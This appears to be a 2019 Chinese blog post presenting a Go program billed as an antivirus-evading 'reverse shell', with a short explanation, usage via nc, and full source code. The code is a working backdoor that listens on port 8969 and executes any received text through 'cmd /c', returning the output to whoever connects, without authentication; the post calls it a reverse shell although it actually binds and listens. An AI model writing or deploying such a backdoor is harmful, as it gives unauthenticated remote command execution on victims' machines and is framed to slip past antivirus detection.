GO语言写的一款免杀反向shell

 

概述:

  Go语言是谷歌2009发布的第二款开源编程语言。

  Go语言专门针对多处理器系统应用程序的编程进行了优化,使用Go编译的程序可以媲美C或C++代码的速度,而且更加安全、支持并行进程。

 

程序介绍,该程序思路非常容易理解,就是使用了golang中的exec包还有网络服务net支持包,开放了端口,用户一旦连接并且发送数据将会被当作命令执行,之后再返回给所连接的用户。

 

1.我们可以在远程服务器下测试一下这个shell,不过这个程序需要更改一下shell参数,因为在Windows中是cmd /c [命令]来调用shell,而linux中是 sh -c [命令] 来调用shell,由于系统版本不同,可以自行更改源码。

这时可以看到,程序已经执行了,我们可以使用Windows中的nc进行连接了。

2.nc是一款非常强大的工具,使用golang其实也可以做一款类似nc的工具,在Windows中也有telnet,但是telnet是属于单字节符输入,没有远程适配printf是无法进行数据处理连发的,只能处理成字节符连续发送。

这时可以看到已经连接成功了,可以执行命令。

下面是该golang杀毒软件测试的截图,来源于 世界杀毒网

下面是源码,我就不一一注释了。

package main

import (
	"net"
	"os/exec"
)

func getexec(conn net.Conn) { //会创建多个副协程(ps:多个指无限)
	for {
		buf := make([]byte, 1024*10) //创建缓冲区
		n, err := conn.Read(buf) //读取数据
		if err != nil {
			return
		}
		cmd, err := exec.Command("cmd", "/c", string(buf[:n])).Output() //开始执行
		if err != nil {
			return
		}
		conn.Write([]byte(string(cmd))) //返回执行结果
	}
}

func main() {
	listen, err := net.Listen("tcp", "0.0.0.0:8969")
	if err != nil {
		return
	}
	defer listen.Close()
	for { //主协程
		conn, err := listen.Accept() //如果有用户连接的话
		if err != nil {
			return
		}
		go getexec(conn) //新建副协程协程
	}
}

  

posted @ 2019-11-02 14:46  WINDECODE  阅读(1257)  评论(0)    收藏  举报